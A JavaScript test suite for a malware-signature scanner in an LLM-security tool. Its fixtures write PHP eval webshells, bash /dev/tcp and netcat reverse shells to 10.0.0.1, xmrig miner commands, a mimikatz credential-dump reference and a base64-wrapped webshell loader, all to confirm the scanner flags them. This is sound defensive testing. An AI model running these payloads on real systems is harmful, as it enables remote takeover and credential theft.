llm-security/tests/scanners/signature-scanner.test.mjs

// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
// Fixtures in tests/fixtures/signature-scan/:
//   - clean/    : benign prose that merely mentions "shell" (0 findings expected)
//   - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
//                 differentiator), and a /dev/tcp reverse shell

import { describe, it, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync, existsSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/signature-scanner.mjs';
import { rot13 } from '../../scanners/lib/string-utils.mjs';

const __dirname = fileURLToPath(new URL('.', import.meta.url));
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');

// ---------------------------------------------------------------------------
// Clean — benign prose, no known-bad identity
// ---------------------------------------------------------------------------

describe('signature-scanner: clean', () => {
  let discovery;

  beforeEach(async () => {
    resetCounter();
    discovery = await discoverFiles(CLEAN_FIXTURE);
  });

  it('returns status ok', async () => {
    const result = await scan(CLEAN_FIXTURE, discovery);
    assert.equal(result.status, 'ok');
  });

  it('produces 0 findings for benign prose mentioning "shell"', async () => {
    const result = await scan(CLEAN_FIXTURE, discovery);
    assert.equal(
      result.findings.length, 0,
      `Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
    );
  });
});

// ---------------------------------------------------------------------------
// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
// ---------------------------------------------------------------------------

describe('signature-scanner: poisoned', () => {
  let discovery;

  beforeEach(async () => {
    resetCounter();
    discovery = await discoverFiles(POISONED_FIXTURE);
  });

  it('returns status ok', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    assert.equal(result.status, 'ok');
  });

  it('all findings carry DS-SIG- ids and scanner SIG', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
    assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
  });

  it('flags the raw PHP webshell', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const ws = result.findings.filter(f => f.file.includes('webshell.php'));
    assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
    assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
  });

  it('flags the base64-wrapped webshell via the decode pipeline', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
    assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
  });

  it('flags the /dev/tcp reverse shell', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const rev = result.findings.find(f => f.file.includes('revshell.sh'));
    assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
  });

  it('flags a webshell base64-EMBEDDED in surrounding code (#30, decodeEmbedded)', async () => {
    // The whole-string decode pipeline only fires when the ENTIRE file is one
    // base64 blob (webshell-b64.txt). #30: a payload embedded in surrounding
    // code (const x = "<base64>") must also reach the SIG decode pipeline via
    // decodeEmbedded. Regression guard for the signature-scanner opt-in flag.
    const payload = readFileSync(join(POISONED_FIXTURE, 'webshell.php'), 'utf8');
    const b64 = Buffer.from(payload).toString('base64');
    const dir = mkdtempSync(join(tmpdir(), 'sig-embed-b64-'));
    try {
      writeFileSync(join(dir, 'loader.js'), `const p = "${b64}";\nrun(atob(p));\n`);
      resetCounter();
      const d = await discoverFiles(dir);
      const result = await scan(dir, d);
      const hit = result.findings.find(f => f.file.includes('loader.js'));
      assert.ok(hit, `Expected the embedded-base64 webshell to be flagged, got: ${result.findings.map(f => f.file).join('; ')}`);
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });

  it('all findings have required fields', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
    for (const f of result.findings) {
      assert.ok(f.id, 'missing id');
      assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
      assert.ok(f.severity, `${f.id} missing severity`);
      assert.ok(f.title, `${f.id} missing title`);
      assert.ok(f.description, `${f.id} missing description`);
      assert.ok(f.file, `${f.id} missing file`);
      assert.ok(f.owasp, `${f.id} missing owasp`);
    }
  });
});

// ---------------------------------------------------------------------------
// Cryptominer + hacktool families (#59) — the on-disk poisoned fixture only
// covers webshell + reverse_shell, so SIG-MINER-* and SIG-HACKTOOL-001 were
// never exercised. Non-base64 decode coverage (rot13) was also missing: the
// only decode-pipeline test used base64. Each temp fixture holds exactly one
// vector so the family attribution is unambiguous.
// ---------------------------------------------------------------------------

describe('signature-scanner: cryptominer + hacktool families', () => {
  it('fires the cryptominer family on a known miner binary reference (SIG-MINER-002)', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-miner-'));
    try {
      writeFileSync(join(dir, 'start.sh'), '#!/bin/sh\n./xmrig --coin monero -o pool.example:3333\n');
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      assert.equal(result.status, 'ok');
      const miner = result.findings.filter(f => /\[cryptominer\]/.test(f.evidence || ''));
      assert.ok(miner.length >= 1, `expected a cryptominer finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
      assert.ok(miner.some(f => /SIG-MINER-002/.test(f.evidence)), 'should attribute to SIG-MINER-002 (miner binary)');
      assert.ok(miner.every(f => f.scanner === 'SIG'), 'miner findings must carry scanner SIG');
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });

  it('fires the cryptominer family on a stratum pool URL (SIG-MINER-001)', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-stratum-'));
    try {
      writeFileSync(join(dir, 'config.txt'), 'pool = stratum+tcp://pool.example.org:4444\n');
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      const miner = result.findings.filter(f => /SIG-MINER-001/.test(f.evidence || ''));
      assert.ok(miner.length >= 1, `expected a SIG-MINER-001 stratum finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
      assert.ok(miner.every(f => f.severity === 'high'), 'stratum finding is the high-severity miner rule');
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });

  it('fires the hacktool family on an offensive-tooling reference (SIG-HACKTOOL-001)', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-hacktool-'));
    try {
      writeFileSync(join(dir, 'post.sh'), '#!/bin/sh\n# runs mimikatz sekurlsa::logonpasswords\n./mimikatz.exe\n');
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      const ht = result.findings.filter(f => /\[hacktool\]/.test(f.evidence || ''));
      assert.ok(ht.length >= 1, `expected a hacktool finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
      assert.ok(ht.some(f => /SIG-HACKTOOL-001/.test(f.evidence)), 'should attribute to SIG-HACKTOOL-001');
      assert.ok(ht.some(f => /mimikatz/i.test(`${f.title} ${f.description}`) || /hacktool/i.test(f.title)), 'finding should name the hacktool family');
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});

// ---------------------------------------------------------------------------
// Non-base64 decode variant (#59) — the SIG engine runs every rule against the
// rot13 variant too, so a rot13-obfuscated miner reference (invisible to a raw
// byte-matcher and to the base64 decode) must still be caught and flagged as
// recovered-from-obfuscation.
// ---------------------------------------------------------------------------

describe('signature-scanner: rot13 decode variant', () => {
  it('catches a rot13-obfuscated cryptominer reference and marks it decoded', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-rot13-'));
    try {
      // rot13 is its own inverse: writing rot13("...xmrig...") means the SIG
      // rot13 variant decodes back to the plaintext miner reference. The raw
      // bytes ("...kzevt...") match no signature.
      const cipher = rot13('the xmrig payload is here');
      assert.ok(!/xmrig/i.test(cipher), 'sanity: the raw ciphertext must not contain the plaintext token');
      writeFileSync(join(dir, 'blob.txt'), cipher + '\n');
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      const miner = result.findings.filter(f => /\[cryptominer\]/.test(f.evidence || ''));
      assert.ok(miner.length >= 1, `expected a rot13-recovered cryptominer finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
      assert.ok(
        miner.some(f => /rot13/i.test(f.description) || /obfuscated/i.test(f.description)),
        `finding should note it matched after rot13 decoding, got: ${miner.map(f => f.description).join(' | ')}`,
      );
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});

// ---------------------------------------------------------------------------
// Hygiene — must not flag its own ruleset / test / docs paths when scanning
// a project root that contains them
// ---------------------------------------------------------------------------

describe('signature-scanner: path exclusions', () => {
  it('does not scan knowledge/, tests/, or docs/ paths', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
    try {
      for (const sub of ['knowledge', 'tests', 'docs']) {
        mkdirSync(join(dir, sub), { recursive: true });
        // A file that WOULD match a webshell signature, but lives in an excluded dir.
        writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
      }
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});

// ---------------------------------------------------------------------------
// Wiring — OWASP map + orchestrator registration (Step 4)
// ---------------------------------------------------------------------------

describe('signature-scanner: OWASP map registration', () => {
  it('SIG is present in all four OWASP maps with the right codes', async () => {
    const { OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP } =
      await import('../../scanners/lib/severity.mjs');
    assert.deepEqual(OWASP_MAP.SIG, ['LLM03', 'LLM02']);
    assert.deepEqual(OWASP_AGENTIC_MAP.SIG, ['ASI04']);
    assert.deepEqual(OWASP_SKILLS_MAP.SIG, []);
    assert.deepEqual(OWASP_MCP_MAP.SIG, []);
  });
});

describe('signature-scanner: orchestrator registration', () => {
  it('scan-orchestrator imports and lists the SIG scanner', () => {
    const orchPath = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
    const text = readFileSync(orchPath, 'utf8');
    assert.match(text, /import\s+\{\s*scan as sigScan\s*\}\s+from\s+['"]\.\/signature-scanner\.mjs['"]/);
    assert.match(text, /\{\s*name:\s*'sig',\s*fn:\s*sigScan\s*\}/);
  });
});

// ---------------------------------------------------------------------------
// Policy — disabling a family suppresses only that family's findings (Step 4)
// ---------------------------------------------------------------------------

describe('signature-scanner: family disable', () => {
  it('disabling "webshell" suppresses webshell findings but keeps reverse_shell', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-family-'));
    try {
      mkdirSync(join(dir, '.llm-security'), { recursive: true });
      writeFileSync(
        join(dir, '.llm-security', 'policy.json'),
        JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
      );
      writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
      writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      const families = result.findings.map(f => f.evidence);
      assert.ok(!families.some(e => /\[webshell\]/.test(e)), `webshell family should be suppressed, got: ${families.join('; ')}`);
      assert.ok(families.some(e => /\[reverse_shell\]/.test(e)), `reverse_shell should still fire, got: ${families.join('; ')}`);
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});

// ---------------------------------------------------------------------------
// Provenance + probe coverage — v8 Phase 5 step 4, fifth consumer swap
//
// The ruleset moved from knowledge/signatures.json to the vendored commons
// artifact signatures/malware-signatures.json. Two things are asserted here
// that neither the golden gate nor tests/lib/malware-signatures.test.mjs can
// see:
//
//   1. That the move actually happened, measured through the real entry point
//      rather than by reading the scanner's import list. The old file is gone,
//      so a scanner still finding webshells can only be reading commons.
//   2. That every rule commons publishes is exercised end-to-end. Coverage by
//      CONSTRUCTION, not by memory: the probe table is asserted against the
//      LOADED ruleset, so a rule commons adds cannot arrive without a probe,
//      and a probe cannot rot against a rule that was removed.
// ---------------------------------------------------------------------------

describe('signature-scanner: ruleset provenance', () => {
  it('no longer ships knowledge/signatures.json', () => {
    const retired = resolve(__dirname, '../../knowledge/signatures.json');
    assert.equal(
      existsSync(retired), false,
      'knowledge/signatures.json is back — two sources for one table is the drift the swap removed',
    );
  });

  it('still flags a webshell with the old ruleset file gone', async () => {
    // The independent anchor. Comparing the scanner against the JSON it reads
    // would be tautological; this cannot pass unless commons resolved.
    const dir = mkdtempSync(join(tmpdir(), 'sig-provenance-'));
    try {
      writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      assert.ok(
        result.findings.some(f => /SIG-WEBSHELL-001/.test(f.evidence || '')),
        `expected SIG-WEBSHELL-001 from the commons ruleset, got: ${result.findings.map(f => f.evidence).join('; ')}`,
      );
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});

describe('signature-scanner: every published rule fires end-to-end', () => {
  // One payload per rule id. Filenames avoid the excluded knowledge/tests/docs
  // path segments; the payloads are the shapes each rule is named for.
  const PROBES = {
    'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @eval($_POST['cmd']); ?>\n"],
    'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']('id'); ?>\n"],
    'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n'],
    'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/sh 10.0.0.1 4444\n'],
    'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum+tcp://pool.example.org:3333\n'],
    'SIG-MINER-002': ['probe-miner-2.txt', './xmrig --donate-level 1\n'],
    'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', 'sekurlsa::logonpasswords via mimikatz\n'],
  };

  it('has a probe for every rule the commons ruleset publishes', async () => {
    // Without this, a rule added upstream would arrive with no end-to-end
    // coverage and the suite would stay green about it.
    const { SIGNATURE_RULES } = await import('../../scanners/lib/malware-signatures.mjs');
    assert.deepEqual(
      SIGNATURE_RULES.map(r => r.id).sort(),
      Object.keys(PROBES).sort(),
      'probe table and published ruleset have diverged',
    );
  });

  it('flags each probe through the real scan() entry point', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-probes-'));
    try {
      for (const [file, content] of Object.values(PROBES)) {
        writeFileSync(join(dir, file), content);
      }
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      const evidence = result.findings.map(f => f.evidence || '').join('\n');
      const missed = Object.keys(PROBES).filter(id => !new RegExp(id).test(evidence));
      assert.deepEqual(missed, [], `rules with no end-to-end hit: ${missed.join(', ')}`);
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});